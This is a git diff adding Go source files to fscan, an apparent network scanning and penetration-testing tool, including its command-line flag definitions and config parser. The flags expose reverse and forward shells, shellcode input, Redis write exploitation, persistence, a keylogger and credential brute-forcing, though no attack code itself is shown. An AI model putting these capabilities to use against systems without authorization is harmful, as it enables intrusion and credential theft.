diff --git a/common/ConcurrencyMonitor.go b/common/ConcurrencyMonitor.go
new file mode 100644
index 0000000..8a88a0d
--- /dev/null
+++ b/common/ConcurrencyMonitor.go
@@ -0,0 +1,137 @@
+package common
+
+import (
+ "fmt"
+ "sync"
+ "sync/atomic"
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+/*
+ConcurrencyMonitor.go - 并发监控器
+
+监控两个层级的并发:
+1. 主扫描器线程数 (-t 参数控制)
+2. 插件内连接线程数 (-mt 参数控制)
+*/
+
+// ConcurrencyMonitor 并发监控器
+type ConcurrencyMonitor struct {
+ // 主扫描器层级
+ activePluginTasks int64 // 当前活跃的插件任务数
+ totalPluginTasks int64 // 总插件任务数
+
+ // 插件内连接层级 (每个插件的连接线程数)
+ pluginConnections sync.Map // map[string]*PluginConnectionInfo
+
+ mu sync.RWMutex
+}
+
+// PluginConnectionInfo 单个插件的连接信息
+type PluginConnectionInfo struct {
+ PluginName string // 插件名称
+ Target string // 目标地址
+ ActiveConnections int64 // 当前活跃连接数
+ TotalConnections int64 // 总连接数
+}
+
+var (
+ globalConcurrencyMonitor *ConcurrencyMonitor
+ concurrencyMutex sync.Once
+)
+
+// GetConcurrencyMonitor 获取全局并发监控器
+func GetConcurrencyMonitor() *ConcurrencyMonitor {
+ concurrencyMutex.Do(func() {
+ globalConcurrencyMonitor = &ConcurrencyMonitor{
+ activePluginTasks: 0,
+ totalPluginTasks: 0,
+ }
+ })
+ return globalConcurrencyMonitor
+}
+
+// =============================================================================
+// 主扫描器层级监控
+// =============================================================================
+
+// StartPluginTask 开始插件任务
+func (m *ConcurrencyMonitor) StartPluginTask() {
+ atomic.AddInt64(&m.activePluginTasks, 1)
+ atomic.AddInt64(&m.totalPluginTasks, 1)
+}
+
+// FinishPluginTask 完成插件任务
+func (m *ConcurrencyMonitor) FinishPluginTask() {
+ atomic.AddInt64(&m.activePluginTasks, -1)
+}
+
+// GetPluginTaskStats 获取插件任务统计
+func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) {
+ return atomic.LoadInt64(&m.activePluginTasks), atomic.LoadInt64(&m.totalPluginTasks)
+}
+
+// =============================================================================
+// 插件内连接层级监控
+// =============================================================================
+
+// StartConnection 开始连接
+func (m *ConcurrencyMonitor) StartConnection(pluginName, target string) {
+ key := fmt.Sprintf("%s@%s", pluginName, target)
+
+ value, _ := m.pluginConnections.LoadOrStore(key, &PluginConnectionInfo{
+ PluginName: pluginName,
+ Target: target,
+ })
+
+ info := value.(*PluginConnectionInfo)
+ atomic.AddInt64(&info.ActiveConnections, 1)
+ atomic.AddInt64(&info.TotalConnections, 1)
+}
+
+// FinishConnection 完成连接
+func (m *ConcurrencyMonitor) FinishConnection(pluginName, target string) {
+ key := fmt.Sprintf("%s@%s", pluginName, target)
+
+ if value, ok := m.pluginConnections.Load(key); ok {
+ info := value.(*PluginConnectionInfo)
+ atomic.AddInt64(&info.ActiveConnections, -1)
+ }
+}
+
+// 已移除未使用的 GetConnectionStats 方法
+
+// GetTotalActiveConnections 获取总活跃连接数
+func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
+ var total int64
+
+ m.pluginConnections.Range(func(key, value interface{}) bool {
+ info := value.(*PluginConnectionInfo)
+ total += atomic.LoadInt64(&info.ActiveConnections)
+ return true
+ })
+
+ return total
+}
+
+// 已移除未使用的 Reset 方法
+
+// GetConcurrencyStatus 获取并发状态字符串
+func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
+ activePlugins, _ := m.GetPluginTaskStats()
+ totalConnections := m.GetTotalActiveConnections()
+
+ if activePlugins == 0 && totalConnections == 0 {
+ return ""
+ }
+
+ if totalConnections == 0 {
+ return fmt.Sprintf("%s:%d", i18n.GetText("concurrency_plugin"), activePlugins)
+ }
+
+ return fmt.Sprintf("%s:%d %s:%d",
+ i18n.GetText("concurrency_plugin"), activePlugins,
+ i18n.GetText("concurrency_connection"), totalConnections)
+}
+
+// 已移除未使用的 GetDetailedStatus 方法
\ No newline at end of file
diff --git a/common/Flag.go b/common/Flag.go
new file mode 100644
index 0000000..e2dbde2
--- /dev/null
+++ b/common/Flag.go
@@ -0,0 +1,419 @@
+package common
+
+import (
+ "flag"
+ "fmt"
+ "os"
+ "strings"
+
+ "github.com/fatih/color"
+ "github.com/shadow1ng/fscan/common/config"
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里)
+var (
+ ExcludeHosts string
+ Ports string
+ ExcludePorts string
+ AddPorts string
+ HostsFile string
+ PortsFile string
+
+ // 本地插件列表(由外部初始化)
+ LocalPluginsList []string
+
+ ModuleThreadNum int
+ GlobalTimeout int64
+ EnableFingerprint bool
+
+ AddUsers string
+ AddPasswords string
+ UsersFile string
+ PasswordsFile string
+ HashFile string
+ HashValue string
+ Domain string
+ SshKeyPath string
+
+ TargetURL string
+ URLsFile string
+ Cookie string
+ WebTimeout int64
+ UserAgent string
+ Accept string
+
+ PocPath string
+ PocFull bool
+ DnsLog bool
+ PocNum int
+ DisablePocScan bool
+
+ RedisFile string
+ RedisShell string
+ RedisWritePath string
+ RedisWriteContent string
+ RedisWriteFile string
+
+ DisableBrute bool
+ MaxRetries int
+
+ DisableSave bool
+ Silent bool
+ DisableProgress bool
+
+ Shellcode string
+
+ // 反弹Shell相关变量
+ ReverseShellTarget string
+ ReverseShellActive bool // 反弹Shell是否处于活跃状态
+
+ // SOCKS5代理相关变量
+ Socks5ProxyPort int // SOCKS5代理监听端口
+ Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
+
+ // 正向Shell相关变量
+ ForwardShellPort int // 正向Shell监听端口
+ ForwardShellActive bool // 正向Shell是否处于活跃状态
+
+ // Linux持久化相关变量
+ PersistenceTargetFile string // 持久化目标文件路径
+
+ // Windows持久化相关变量
+ WinPEFile string // Windows PE文件路径
+
+ // 键盘记录相关变量
+ KeyloggerOutputFile string // 键盘记录输出文件
+
+ // 文件下载相关变量
+ DownloadURL string // 下载文件的URL
+ DownloadSavePath string // 下载文件保存路径
+
+ // Parse.go 使用的变量
+ HostPort []string
+ URLs []string
+ HashValues []string
+ HashBytes [][]byte
+)
+
+// Pocinfo POC信息变量
+var Pocinfo config.PocInfo
+
+func Banner() {
+ // 定义暗绿色系
+ colors := []color.Attribute{
+ color.FgGreen, // 基础绿
+ color.FgHiGreen, // 亮绿
+ }
+
+ lines := []string{
+ " ___ _ ",
+ " / _ \\ ___ ___ _ __ __ _ ___| | __ ",
+ " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
+ "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
+ "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
+ }
+
+ // 获取最长行的长度
+ maxLength := 0
+ for _, line := range lines {
+ if len(line) > maxLength {
+ maxLength = len(line)
+ }
+ }
+
+ // 创建边框
+ topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
+ bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
+
+ // 打印banner
+ fmt.Println(topBorder)
+
+ for lineNum, line := range lines {
+ fmt.Print("│ ")
+ // 使用对应的颜色打印每个字符
+ c := color.New(colors[lineNum%2])
+ c.Print(line)
+ // 补齐空格
+ padding := maxLength - len(line)
+ fmt.Printf("%s │\n", strings.Repeat(" ", padding))
+ }
+
+ fmt.Println(bottomBorder)
+
+ // 打印版本信息
+ c := color.New(colors[1])
+ c.Printf(" Fscan Version: %s\n\n", version)
+}
+
+// Flag 解析命令行参数并配置扫描选项
+func Flag(Info *HostInfo) {
+ Banner()
+
+ // 预处理语言设置 - 在定义flag之前检查lang参数
+ preProcessLanguage()
+
+ // ═════════════════════════════════════════════════
+ // 目标配置参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
+ flag.StringVar(&ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
+ flag.StringVar(&Ports, "p", MainPorts, i18n.GetText("flag_ports"))
+ flag.StringVar(&ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
+ flag.StringVar(&HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
+ flag.StringVar(&PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
+
+ // ═════════════════════════════════════════════════
+ // 扫描控制参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
+ flag.IntVar(&ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
+ flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
+ flag.IntVar(&ModuleThreadNum, "mt", 50, i18n.GetText("flag_module_thread_num"))
+ flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
+ // LiveTop 参数已移除,改为智能控制
+ flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
+ flag.BoolVar(&EnableFingerprint, "fp", false, i18n.GetText("flag_enable_fingerprint"))
+ flag.StringVar(&LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
+ flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
+
+ // ═════════════════════════════════════════════════
+ // 认证与凭据参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&Username, "user", "", i18n.GetText("flag_username"))
+ flag.StringVar(&Password, "pwd", "", i18n.GetText("flag_password"))
+ flag.StringVar(&AddUsers, "usera", "", i18n.GetText("flag_add_users"))
+ flag.StringVar(&AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
+ flag.StringVar(&UsersFile, "userf", "", i18n.GetText("flag_users_file"))
+ flag.StringVar(&PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
+ flag.StringVar(&HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
+ flag.StringVar(&HashValue, "hash", "", i18n.GetText("flag_hash_value"))
+ flag.StringVar(&Domain, "domain", "", i18n.GetText("flag_domain")) // SMB扫描用
+ flag.StringVar(&SshKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key")) // SSH扫描用
+
+ // ═════════════════════════════════════════════════
+ // Web扫描参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&TargetURL, "u", "", i18n.GetText("flag_target_url"))
+ flag.StringVar(&URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
+ flag.StringVar(&Cookie, "cookie", "", i18n.GetText("flag_cookie"))
+ flag.Int64Var(&WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
+ flag.StringVar(&HttpProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
+ flag.StringVar(&Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
+
+ // ═════════════════════════════════════════════════
+ // POC测试参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
+ flag.StringVar(&Pocinfo.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
+ flag.BoolVar(&PocFull, "full", false, i18n.GetText("flag_poc_full"))
+ flag.BoolVar(&DnsLog, "dns", false, i18n.GetText("flag_dns_log"))
+ flag.IntVar(&PocNum, "num", 20, i18n.GetText("flag_poc_num"))
+ flag.BoolVar(&DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
+
+ // ═════════════════════════════════════════════════
+ // Redis利用参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
+ flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
+ flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
+ flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
+ flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
+
+ // ═════════════════════════════════════════════════
+ // 暴力破解控制参数
+ // ═════════════════════════════════════════════════
+ flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
+ flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
+
+ // ═════════════════════════════════════════════════
+ // 输出与显示控制参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
+ flag.StringVar(&OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
+ flag.BoolVar(&DisableSave, "no", false, i18n.GetText("flag_disable_save"))
+ flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
+ flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
+ flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
+ flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
+
+ // ═════════════════════════════════════════════════
+ // 其他参数
+ // ═════════════════════════════════════════════════
+ flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
+ flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
+ flag.IntVar(&Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
+ flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
+ flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
+ flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
+ flag.StringVar(&KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
+
+ // 文件下载插件参数
+ flag.StringVar(&DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
+ flag.StringVar(&DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
+ flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
+
+ // 帮助参数
+ var showHelp bool
+ flag.BoolVar(&showHelp, "help", false, i18n.GetText("flag_help"))
+
+ // 解析命令行参数
+ parseCommandLineArgs()
+
+ // 设置语言
+ i18n.SetLanguage(Language)
+
+
+ // 更新进度条显示状态
+ ShowProgress = !DisableProgress
+
+ // 同步配置到core包
+ SyncToCore()
+
+ // 如果显示帮助或者没有提供目标,显示帮助信息并退出
+ if showHelp || shouldShowHelp(Info) {
+ flag.Usage()
+ os.Exit(0)
+ }
+}
+
+// parseCommandLineArgs 处理来自环境变量和命令行的参数
+func parseCommandLineArgs() {
+ // 首先检查环境变量中的参数
+ envArgsString := os.Getenv("FS_ARGS")
+ if envArgsString != "" {
+ // 解析环境变量参数 (跨平台支持)
+ envArgs, err := parseEnvironmentArgs(envArgsString)
+ if err == nil && len(envArgs) > 0 {
+ flag.CommandLine.Parse(envArgs)
+ os.Unsetenv("FS_ARGS") // 使用后清除环境变量
+ return
+ }
+ // 如果环境变量解析失败,继续使用命令行参数
+ }
+
+ // 解析命令行参数
+ flag.Parse()
+
+ // 检查参数冲突
+ checkParameterConflicts()
+
+ // 额外的本地插件互斥检查
+ // 需要在解析后检查,因为Host是通过Info.Host设置的
+ // 这个检查在app/initializer.go中进行
+}
+
+// parseEnvironmentArgs 安全地解析环境变量中的参数
+func parseEnvironmentArgs(argsString string) ([]string, error) {
+ if strings.TrimSpace(argsString) == "" {
+ return nil, fmt.Errorf("empty arguments string")
+ }
+
+ // 使用更安全的参数分割方法
+ var args []string
+ var currentArg strings.Builder
+ inQuote := false
+ quoteChar := ' '
+
+ for _, char := range argsString {
+ switch {
+ case char == '"' || char == '\'':
+ if inQuote && char == quoteChar {
+ inQuote = false
+ } else if !inQuote {
+ inQuote = true
+ quoteChar = char
+ } else {
+ currentArg.WriteRune(char)
+ }
+ case char == ' ' && !inQuote:
+ if currentArg.Len() > 0 {
+ args = append(args, currentArg.String())
+ currentArg.Reset()
+ }
+ default:
+ currentArg.WriteRune(char)
+ }
+ }
+
+ if currentArg.Len() > 0 {
+ args = append(args, currentArg.String())
+ }
+
+ return args, nil
+}
+
+// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
+func preProcessLanguage() {
+ // 遍历命令行参数查找-lang参数
+ for i, arg := range os.Args {
+ if arg == "-lang" && i+1 < len(os.Args) {
+ lang := os.Args[i+1]
+ if lang == "en" || lang == "zh" {
+ Language = lang
+ i18n.SetLanguage(lang)
+ return
+ }
+ } else if strings.HasPrefix(arg, "-lang=") {
+ lang := strings.TrimPrefix(arg, "-lang=")
+ if lang == "en" || lang == "zh" {
+ Language = lang
+ i18n.SetLanguage(lang)
+ return
+ }
+ }
+ }
+
+ // 检查环境变量
+ envLang := os.Getenv("FS_LANG")
+ if envLang == "en" || envLang == "zh" {
+ Language = envLang
+ i18n.SetLanguage(envLang)
+ }
+}
+
+// shouldShowHelp 检查是否应该显示帮助信息
+func shouldShowHelp(Info *HostInfo) bool {
+ // 检查是否提供了扫描目标
+ hasTarget := Info.Host != "" || TargetURL != ""
+
+ // 本地模式需要指定插件才算有效目标
+ if LocalMode && LocalPlugin != "" {
+ hasTarget = true
+ }
+
+ // 如果没有提供任何扫描目标,则显示帮助
+ if !hasTarget {
+ return true
+ }
+
+ return false
+}
+
+// checkParameterConflicts 检查参数冲突和兼容性
+func checkParameterConflicts() {
+ // 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
+ if AliveOnly && ScanMode == "icmp" {
+ LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
+ }
+
+ // 检查本地插件参数
+ if LocalPlugin != "" {
+ // 检查是否包含分隔符(确保只能指定单个插件)
+ invalidChars := []string{",", ";", " ", "|", "&"}
+ for _, char := range invalidChars {
+ if strings.Contains(LocalPlugin, char) {
+ fmt.Printf("错误: 本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件\n", char)
+ LogError(fmt.Sprintf("本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件", char))
+ os.Exit(1)
+ }
+ }
+
+
+ // 自动启用本地模式
+ LocalMode = true
+
+ // 验证本地插件名称 - 使用统一插件系统验证
+ // 这里不进行验证,让运行时的插件系统来处理不存在的插件
+ }
+}
diff --git a/common/Parse.go b/common/Parse.go
new file mode 100644
index 0000000..ad8d2e3
--- /dev/null
+++ b/common/Parse.go
@@ -0,0 +1,503 @@
+package common
+
+import (
+ "fmt"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+ "github.com/shadow1ng/fscan/common/logging"
+ "github.com/shadow1ng/fscan/common/parsers"
+ "github.com/shadow1ng/fscan/common/utils"
+)
+
+// ParsedConfiguration 解析后的完整配置(兼容旧代码)
+type ParsedConfiguration struct {
+ *parsers.ParsedConfig
+}
+
+// Parser 主解析器
+type Parser struct {
+ mu sync.RWMutex
+ fileReader *parsers.FileReader
+ credentialParser *parsers.CredentialParser
+ targetParser *parsers.TargetParser
+ networkParser *parsers.NetworkParser
+ validationParser *parsers.ValidationParser
+ options *parsers.ParserOptions
+ initialized bool
+}
+
+// NewParser 创建新的解析器实例
+func NewParser(options *parsers.ParserOptions) *Parser {
+ if options == nil {
+ options = parsers.DefaultParserOptions()
+ }
+
+ // 创建文件读取器
+ fileReader := parsers.NewFileReader(nil)
+
+ // 创建各个子解析器
+ credentialParser := parsers.NewCredentialParser(fileReader, nil)
+ targetParser := parsers.NewTargetParser(fileReader, nil)
+ networkParser := parsers.NewNetworkParser(nil)
+ validationParser := parsers.NewValidationParser(nil)
+
+ return &Parser{
+ fileReader: fileReader,
+ credentialParser: credentialParser,
+ targetParser: targetParser,
+ networkParser: networkParser,
+ validationParser: validationParser,
+ options: options,
+ initialized: true,
+ }
+}
+
+// 全局解析器实例
+var globalParser *Parser
+var initOnce sync.Once
+
+// getGlobalParser 获取全局解析器实例
+func getGlobalParser() *Parser {
+ initOnce.Do(func() {
+ globalParser = NewParser(nil)
+ })
+ return globalParser
+}
+
+// Parse 主解析函数 - 保持与原版本兼容的接口
+func Parse(Info *HostInfo) error {
+ // 首先应用LogLevel配置到日志系统
+ applyLogLevel()
+
+ parser := getGlobalParser()
+
+ // 构建输入参数
+ input := &AllInputs{
+ Credential: &parsers.CredentialInput{
+ Username: Username,
+ Password: Password,
+ AddUsers: AddUsers,
+ AddPasswords: AddPasswords,
+ HashValue: HashValue,
+ SshKeyPath: SshKeyPath,
+ Domain: Domain,
+ UsersFile: UsersFile,
+ PasswordsFile: PasswordsFile,
+ HashFile: HashFile,
+ },
+ Target: &parsers.TargetInput{
+ Host: Info.Host,
+ HostsFile: HostsFile,
+ ExcludeHosts: ExcludeHosts,
+ Ports: Ports,
+ PortsFile: PortsFile,
+ AddPorts: AddPorts,
+ ExcludePorts: ExcludePorts,
+ TargetURL: TargetURL,
+ URLsFile: URLsFile,
+ HostPort: HostPort,
+ LocalMode: LocalMode,
+ },
+ Network: &parsers.NetworkInput{
+ HttpProxy: HttpProxy,
+ Socks5Proxy: Socks5Proxy,
+ Timeout: Timeout,
+ WebTimeout: WebTimeout,
+ DisablePing: DisablePing,
+ DnsLog: DnsLog,
+ UserAgent: UserAgent,
+ Cookie: Cookie,
+ },
+ }
+
+ // 执行解析
+ result, err := parser.ParseAll(input)
+ if err != nil {
+ return fmt.Errorf(i18n.GetText("parse_error_config_failed", err))
+ }
+
+ // 更新全局变量以保持兼容性
+ if err := updateGlobalVariables(result.Config, Info); err != nil {
+ return fmt.Errorf(i18n.GetText("parse_error_update_vars_failed", err))
+ }
+
+ // 报告警告
+ for _, warning := range result.Warnings {
+ LogBase(warning)
+ }
+
+ // 显示解析结果摘要
+ showParseSummary(result.Config)
+
+ // 同步配置到core包
+ SyncToCore()
+
+ return nil
+}
+
+// AllInputs 所有输入参数的集合
+type AllInputs struct {
+ Credential *parsers.CredentialInput `json:"credential"`
+ Target *parsers.TargetInput `json:"target"`
+ Network *parsers.NetworkInput `json:"network"`
+}
+
+// ParseAll 解析所有配置
+func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
+ if input == nil {
+ return nil, fmt.Errorf(i18n.GetText("parse_error_empty_input"))
+ }
+
+ p.mu.Lock()
+ defer p.mu.Unlock()
+
+ if !p.initialized {
+ return nil, fmt.Errorf(i18n.GetText("parse_error_parser_not_init"))
+ }
+
+ startTime := time.Now()
+ result := &parsers.ParseResult{
+ Config: &parsers.ParsedConfig{},
+ Success: true,
+ }
+
+ var allErrors []error
+ var allWarnings []string
+
+ // 解析凭据配置
+ if input.Credential != nil {
+ credResult, err := p.credentialParser.Parse(input.Credential, p.options)
+ if err != nil {
+ allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_credential_failed", err)))
+ } else {
+ result.Config.Credentials = credResult.Config.Credentials
+ allErrors = append(allErrors, credResult.Errors...)
+ allWarnings = append(allWarnings, credResult.Warnings...)
+ }
+ }
+
+ // 解析目标配置
+ if input.Target != nil {
+ targetResult, err := p.targetParser.Parse(input.Target, p.options)
+ if err != nil {
+ allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_target_failed", err)))
+ } else {
+ result.Config.Targets = targetResult.Config.Targets
+ allErrors = append(allErrors, targetResult.Errors...)
+ allWarnings = append(allWarnings, targetResult.Warnings...)
+ }
+ }
+
+ // 解析网络配置
+ if input.Network != nil {
+ networkResult, err := p.networkParser.Parse(input.Network, p.options)
+ if err != nil {
+ allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_network_failed", err)))
+ } else {
+ result.Config.Network = networkResult.Config.Network
+ allErrors = append(allErrors, networkResult.Errors...)
+ allWarnings = append(allWarnings, networkResult.Warnings...)
+ }
+ }
+
+ // 执行验证
+ validationInput := &parsers.ValidationInput{
+ ScanMode: ScanMode,
+ LocalMode: LocalMode,
+ HasHosts: input.Target != nil && (input.Target.Host != "" || input.Target.HostsFile != ""),
+ HasURLs: input.Target != nil && (input.Target.TargetURL != "" || input.Target.URLsFile != ""),
+ HasPorts: input.Target != nil && (input.Target.Ports != "" || input.Target.PortsFile != ""),
+ HasProxy: input.Network != nil && (input.Network.HttpProxy != "" || input.Network.Socks5Proxy != ""),
+ DisablePing: input.Network != nil && input.Network.DisablePing,
+ HasCredentials: input.Credential != nil && (input.Credential.Username != "" || input.Credential.UsersFile != ""),
+ }
+
+ validationResult, err := p.validationParser.Parse(validationInput, result.Config, p.options)
+ if err != nil {
+ allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_validation_failed", err)))
+ } else {
+ result.Config.Validation = validationResult.Config.Validation
+ allErrors = append(allErrors, validationResult.Errors...)
+ allWarnings = append(allWarnings, validationResult.Warnings...)
+ }
+
+ // 汇总结果
+ result.Errors = allErrors
+ result.Warnings = allWarnings
+ result.ParseTime = time.Since(startTime)
+ result.Success = len(allErrors) == 0
+
+ return result, nil
+}
+
+// updateGlobalVariables 更新全局变量以保持向后兼容性
+func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
+ if config == nil {
+ return nil
+ }
+
+ // 更新凭据相关全局变量
+ if config.Credentials != nil {
+ if len(config.Credentials.Usernames) > 0 {
+ // 更新全局用户字典
+ for serviceName := range Userdict {
+ Userdict[serviceName] = config.Credentials.Usernames
+ }
+ }
+
+ if len(config.Credentials.Passwords) > 0 {
+ Passwords = config.Credentials.Passwords
+ }
+
+ if len(config.Credentials.HashValues) > 0 {
+ HashValues = config.Credentials.HashValues
+ }
+
+ if len(config.Credentials.HashBytes) > 0 {
+ HashBytes = config.Credentials.HashBytes
+ }
+ }
+
+ // 更新目标相关全局变量
+ if config.Targets != nil {
+ if len(config.Targets.Hosts) > 0 {
+ // 如果info.Host已经有值,说明解析结果来自info.Host,不需要重复设置
+ // 只有当info.Host为空时才设置(如从文件读取的情况)
+ if info.Host == "" {
+ info.Host = joinStrings(config.Targets.Hosts, ",")
+ }
+ }
+
+ if len(config.Targets.URLs) > 0 {
+ URLs = config.Targets.URLs
+ // 如果info.Url为空且只有一个URL,将其设置到info.Url
+ if info.Url == "" && len(config.Targets.URLs) == 1 {
+ info.Url = config.Targets.URLs[0]
+ }
+ }
+
+ if len(config.Targets.Ports) > 0 {
+ Ports = joinInts(config.Targets.Ports, ",")
+ }
+
+ if len(config.Targets.ExcludePorts) > 0 {
+ ExcludePorts = joinInts(config.Targets.ExcludePorts, ",")
+ }
+
+ if len(config.Targets.HostPorts) > 0 {
+ HostPort = config.Targets.HostPorts
+ }
+ }
+
+ // 更新网络相关全局变量
+ if config.Network != nil {
+ if config.Network.HttpProxy != "" {
+ HttpProxy = config.Network.HttpProxy
+ }
+
+ if config.Network.Socks5Proxy != "" {
+ Socks5Proxy = config.Network.Socks5Proxy
+ }
+
+ if config.Network.Timeout > 0 {
+ Timeout = int64(config.Network.Timeout.Seconds())
+ }
+
+ if config.Network.WebTimeout > 0 {
+ WebTimeout = int64(config.Network.WebTimeout.Seconds())
+ }
+
+ if config.Network.UserAgent != "" {
+ UserAgent = config.Network.UserAgent
+ }
+
+ if config.Network.Cookie != "" {
+ Cookie = config.Network.Cookie
+ }
+
+ DisablePing = config.Network.DisablePing
+ DnsLog = config.Network.EnableDNSLog
+ }
+
+ return nil
+}
+
+// RemoveDuplicate 去重函数 - 恢复原始高效实现
+func RemoveDuplicate(old []string) []string {
+ if len(old) <= 1 {
+ return old
+ }
+
+ temp := make(map[string]struct{}, len(old))
+ result := make([]string, 0, len(old))
+
+ for _, item := range old {
+ if _, exists := temp[item]; !exists {
+ temp[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+
+ return result
+}
+
+// 辅助函数
+
+// joinStrings 连接字符串切片 - 优化版本使用字符串构建器池
+func joinStrings(slice []string, sep string) string {
+ return utils.JoinStrings(slice, sep)
+}
+
+// joinInts 连接整数切片 - 优化版本使用字符串构建器池
+func joinInts(slice []int, sep string) string {
+ return utils.JoinInts(slice, sep)
+}
+
+// showParseSummary 显示解析结果摘要
+func showParseSummary(config *parsers.ParsedConfig) {
+ if config == nil {
+ return
+ }
+
+ // 显示目标信息
+ if config.Targets != nil {
+ if len(config.Targets.Hosts) > 0 {
+ if len(config.Targets.Hosts) <= 5 {
+ LogBase(i18n.GetText("target_hosts_found", joinStrings(config.Targets.Hosts, ", ")))
+ } else {
+ LogBase(i18n.GetText("target_hosts_count", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts)))
+ }
+ }
+
+ if len(config.Targets.URLs) > 0 {
+ if len(config.Targets.URLs) <= 3 {
+ LogBase(i18n.GetText("target_urls_found", joinStrings(config.Targets.URLs, ", ")))
+ } else {
+ LogBase(i18n.GetText("target_urls_count", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs)))
+ }
+ }
+
+ if len(config.Targets.Ports) > 0 {
+ if len(config.Targets.Ports) <= 20 {
+ LogBase(i18n.GetText("target_ports_found", joinInts(config.Targets.Ports, ", ")))
+ } else {
+ LogBase(i18n.GetText("target_ports_count", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports)))
+ }
+ }
+
+ if len(config.Targets.ExcludePorts) > 0 {
+ LogBase(i18n.GetText("target_exclude_ports", joinInts(config.Targets.ExcludePorts, ", ")))
+ }
+
+ if config.Targets.LocalMode {
+ LogBase(i18n.GetText("target_local_mode"))
+ }
+ }
+
+ // 显示扫描配置
+ LogBase(i18n.GetText("scan_config_thread_num", ThreadNum))
+ LogBase(i18n.GetText("scan_config_timeout", Timeout))
+ LogBase(i18n.GetText("scan_config_module_thread_num", ModuleThreadNum))
+ LogBase(i18n.GetText("scan_config_global_timeout", GlobalTimeout))
+
+ // 显示网络配置
+ if config.Network != nil {
+ if config.Network.HttpProxy != "" {
